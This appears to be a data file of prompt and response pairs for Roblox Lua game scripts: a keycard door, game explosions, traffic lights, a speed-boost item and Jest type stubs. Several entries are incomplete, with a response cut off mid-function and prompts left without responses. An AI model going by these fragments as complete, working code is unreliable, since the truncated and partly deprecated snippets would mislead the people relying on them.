Prompt: --"False" = Not Acceptable Keycard To Open. "True" = Acceptable Keycard To Open.--

Response:
local door = script.Parent
local bool = false
local CanOpen1 = true
local CanClose1 = false
local AccessDenied = script.Parent.AccessDenied
local AccessGranted = script.Parent.AccessGranted
local clearance = {
	["[SCP] Card-Omni"] = true,
	["[SCP] Card-L5"] = true,
	["[SCP] Card-L4"] = true,
	["[SCP] Card-L3"] = true,
	["[SCP] Card-L2"] = false,
	["[SCP] Card-L1"] = false
}

						--DO NOT EDIT PAST THIS LINE--
function openDoor()
	script.Parent.DoorOpen:play()
	for i = 1,(door.Size.z / 0.30) do
		wait()
		door.CFrame = door.CFrame - (door.CFrame.lookVector * 0.30)
	end
end

function closeDoor()
	script.Parent.DoorClose:play()
	for i = 1,(door.Size.z / 0.30) do
		wait()
		door.CFrame = door.CFrame + (door.CFrame.lookVector * 0.30)
	end
end

script.Parent.Parent.KeycardReader1.touched:connect(function(touch)
	if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then

		CanOpen1 = false
		AccessGranted:Play()
		wait(0.75)
		openDoor()
		wait(1)
		CanClose1 = true
	elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then
		CanClose1 = false
		AccessGranted:Play()
		wait(0.75)
		closeDoor()
		wait(1)
		CanOpen1 = true
	elseif touch.Name == "Handle" and clearance[touch.Parent.Name] == false and not bool then
		bool = true
		AccessDenied:Play()
		wait(2)
		bool = false
	end
end)

script.Parent.Parent.KeycardReader2.touched:connect(function(touch)
	if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then
		CanOpen1 = false
		AccessGranted:Play()
		wait(0.75)
		openDoor()
		wait(1)
		CanClose1 = true
	elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then
		CanClose1 = false
		AccessGranted:Play()
		wait(0.75)
		closeDoor()
		wait(1)
		CanOpen1 = true
	elseif touch.Name == "Handle" and clearance[touch.Parent.Name] == false and not bool then
		bool = true
		AccessDenied:Play()
		wait(2)
		bool = false
	end
end)


Prompt: --Creates an explosion at the specified location. Return sthe explosion.

Response:
function ExplosionCreator:CreateExplosion(Position,FiredPlayer,ReflectedPlayer,DamageName)
	local RegisteredPlayers = {}

	--Returns the amount of hit players.
	local function GetHitPlayers()
		local Count = 0
		for _,_ in pairs(RegisteredPlayers) do
			Count = Count + 1
		end

		return Count
	end

	--Regester hits from exploisions.
	local function OnExplosionHit(ExplosionTouchPart,RadiusFromBlast)
		local IsInCharacter = false

		if ExplosionTouchPart.Size.magnitude/2 < 20 then
			local BreakJoints = (ExplosionTouchPart.Name ~= "Bomb")

			--Damage the character if one exists and disable breaking joints.
			local HitCharacter,HitHumanoid = FindCharacterAncestor(ExplosionTouchPart)
			if HitCharacter then
				IsInCharacter = true
				BreakJoints = false

				local HitPlayer = game.Players:GetPlayerFromCharacter(HitCharacter)
				if (HitPlayer and not RegisteredPlayers[HitPlayer]) or (not HitPlayer and not RegisteredPlayers[HitCharacter]) then
					RegisteredPlayers[HitPlayer or HitCharacter] = true


Prompt: ---Green Script---

Response:
script.Parent.Red.Transparency = 0.9
script.Parent.Yel.Transparency = 0.9
script.Parent.Gre.Transparency = 0.9

while true do

	script.Parent.Red.Transparency = 0
	script.Parent.Yel.Transparency = 0.9
	script.Parent.Gre.Transparency = 0.9

	wait (1)

	script.Parent.Red.Transparency = 0
	script.Parent.Yel.Transparency = 0.9
	script.Parent.Gre.Transparency = 0.9

	wait (30)

	script.Parent.Red.Transparency = 0
	script.Parent.Yel.Transparency = 0.9
	script.Parent.Gre.Transparency = 0.9

	wait (4)

	script.Parent.Red.Transparency = 0
	script.Parent.Yel.Transparency = 0.9
	script.Parent.Gre.Transparency = 0.9

	wait (3)

	script.Parent.Red.Transparency = 0
	script.Parent.Yel.Transparency = 0
	script.Parent.Gre.Transparency = 0.9

	wait (1)

	script.Parent.Red.Transparency = 0.9
	script.Parent.Yel.Transparency = 0.9
	script.Parent.Gre.Transparency = 0

	wait (30)

	script.Parent.Red.Transparency = 0.9
	script.Parent.Yel.Transparency = 0
	script.Parent.Gre.Transparency = 0.9

	wait (4)

	script.Parent.Red.Transparency = 0
	script.Parent.Yel.Transparency = 0.9
	script.Parent.Gre.Transparency = 0.9

	wait (3)

end


Response:
elseif script.Parent.Parent.Parent.TrafficControl.Value == ">" then

		script.Parent.Parent.Off.Spotlight2.Transparency = 1
script.Parent.Parent.Off.Spotlight3.Transparency = 1
script.Parent.Parent.Off.Part.Transparency = 1
script.Parent.Parent.Off.Union.Transparency = 1
script.Parent.Parent.Off.a1.Transparency = 1

script.Parent.Parent.Front.Spotlight2.Transparency = 1
script.Parent.Parent.Front.Spotlight2.Point.Enabled = false
script.Parent.Parent.Front.Spotlight2.Lighto.Enabled = false
script.Parent.Parent.Front.Part.Transparency = 1
script.Parent.Parent.Front.Union.Transparency = 1
script.Parent.Parent.Front.a1.Transparency = 1

script.Parent.Parent.Left.Spotlight2.Transparency = 1
script.Parent.Parent.Left.Spotlight2.Point.Enabled = false
script.Parent.Parent.Left.Spotlight2.Lighto.Enabled = false
script.Parent.Parent.Left.Part.Transparency = 1
script.Parent.Parent.Left.Union.Transparency = 1
script.Parent.Parent.Left.a1.Transparency = 1

script.Parent.Parent.Right.Spotlight2.Transparency = 0.3
script.Parent.Parent.Right.Spotlight2.Point.Enabled = true
script.Parent.Parent.Right.Spotlight2.Lighto.Enabled = true
script.Parent.Parent.Right.Part.Transparency = 0
script.Parent.Parent.Right.Union.Transparency = 0
script.Parent.Parent.Right.a1.Transparency = 0


Prompt:
--[=[
	Provides getting named global [RemoteEvent] resources.
	@class GetRemoteEvent
]=]


Prompt: -- Check the module script for more functions and then do like this "Demo:FunctionName()" like the above example of duration


Prompt: -- assume we are in the character, let's check

Response:
function sepuku()
	script.Parent = nil
end

local h = script.Parent:FindFirstChild("Humanoid")

if (h == nil) then sepuku() end

local oldSpeed = h.WalkSpeed
h.WalkSpeed = h.WalkSpeed * 1.6

local torso = script.Parent:FindFirstChild("Torso")

if (torso == nil) then sepuku() end

local head = script.Parent:FindFirstChild("Head")
if (head == nil) then head = torso end

local s = Instance.new("Sparkles")
s.Color = Color3.new(.5, 0, 0)
s.Parent = torso

local count = h:FindFirstChild("CoffeeCount")
if (count == nil) then
	count = Instance.new("IntValue")
	count.Name = "CoffeeCount"
	count.Value = 1
	count.Parent = h
else

	if (count.Value > 3) then
		if (math.random() > .5) then

			local sound = Instance.new("Sound")
			sound.SoundId = "rbxasset://sounds\\Rocket shot.wav"
			sound.Parent = head
			sound.Volume = 1
			sound:play()

			local e = Instance.new("Explosion")
			e.BlastRadius = 4
			e.Position = head.Position

			s:Clone().Parent = head
			e.Parent = head

		end
	end
	count.Value = count.Value + 1
end

wait(30)

h.WalkSpeed = oldSpeed
s:Remove()

script.Parent = nil


Prompt:
--[[
	ROBLOX deviation START: inline type for JestAssertionError['matcherResult'] as Lua doesn't support Omit utility type
	original code:
	class JestAssertionError extends Error {
	  matcherResult?: Omit<SyncExpectationResult, 'message'> & {message: string};
	}
]]

Response:
type JestMatcherError_matcherResult = {
	pass: boolean,
	message: string,
}

type JestAssertionError = {
	matcherResult: JestMatcherError_matcherResult?,
}